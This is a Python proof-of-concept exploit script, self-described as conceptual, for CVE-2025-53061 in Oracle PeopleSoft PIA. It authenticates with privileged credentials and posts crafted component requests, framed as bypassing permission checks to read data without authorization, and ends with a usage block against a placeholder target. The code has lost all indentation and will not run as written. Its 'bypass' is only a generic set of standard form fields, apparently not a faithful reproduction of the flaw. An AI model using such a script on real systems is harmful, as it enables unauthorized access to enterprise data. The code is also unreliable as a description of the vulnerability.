# CVE-2025-53061 PoC - Oracle PeopleSoft PIA Core Technology Vulnerability
# This is a conceptual PoC demonstrating the attack pattern
# Note: Actual exploitation requires valid high-privilege credentials
import requests
class PeopleSoftPIAExploit:
"""
PoC for CVE-2025-53061
Oracle PeopleSoft Enterprise PeopleTools PIA Core Technology
Affected versions: 8.60, 8.61, 8.62
"""
def __init__(self, target_url, username, password):
self.target_url = target_url.rstrip('/')
self.session = requests.Session()
self.username = username
self.password = password
self.csrf_token = None
def authenticate(self):
"""Authenticate to PeopleSoft PIA portal with high-privilege credentials"""
login_url = f"{self.target_url}/psp/ps/?cmd=login&languageCd=ENG"
# Step 1: Get initial page and extract CSRF token
response = self.session.get(login_url)
self.csrf_token = self._extract_csrf_token(response.text)
# Step 2: Submit login credentials
login_data = {
'userid': self.username,
'pwd': self.password,
'csrfToken': self.csrf_token,
'submit': 'Sign In'
}
response = self.session.post(
login_url,
data=login_data,
allow_redirects=True
)
return 'PSHOME' in response.url or response.status_code == 200
def exploit_unauthorized_access(self, target_component, action='read'):
"""
Exploit the PIA Core Technology vulnerability to perform
unauthorized data operations
"""
# Target PIA Core Technology component endpoint
exploit_url = f"{self.target_url}/psp/ps/EMPLOYEE/CRM/c/{target_component}.{target_component}.GBL"
# Craft request to bypass insufficient permission checks
exploit_params = {
'ICType': 'Panel',
'ICElementNum': '0',
'ICStateNum': '1',
'ICAction': action.upper(),
'ICXPos': '0',
'ICYPos': '0',
'ICFocus': '',
'ICSaveWarningFilter': '0',
'ICChanged': '-1',
'ICResubmit': '0',
'ICSID': self._get_session_id(),
'ICActionPrompt': 'false'
}
response = self.session.post(exploit_url, data=exploit_params)
return {
'status': response.status_code,
'content_length': len(response.content),
'accessible': self._check_unauthorized_access(response.text)
}
def _extract_csrf_token(self, html_content):
"""Extract CSRF token from HTML page"""
import re
match = re.search(r'csrfToken["\s]*[=:]["\s]*([a-zA-Z0-9_-]+)', html_content)
return match.group(1) if match else ''
def _get_session_id(self):
"""Get current session ID from cookies"""
return self.session.cookies.get('PS_TOKEN', '')
def _check_unauthorized_access(self, response_text):
"""Check if unauthorized access was successful"""
indicators = [
'RECORD_NOT_FOUND',
'PERMISSION_DENIED',
'ACCESS_DENIED'
]
return not any(indicator in response_text for indicator in indicators)
# Usage example (for security testing purposes only)
if __name__ == "__main__":
exploit = PeopleSoftPIAExploit(
target_url="https://target-peoplesoft.example.com:8443",
username="high_priv_user",
password="valid_password"
)
if exploit.authenticate():
print("[+] Authentication successful")
# Attempt unauthorized data access via PIA Core Technology
result = exploit.exploit_unauthorized_access(
target_component="COMPONENT_DATA",
action="READ"
)
print(f"[+] Exploit result: {result}")
else:
print("[-] Authentication failed")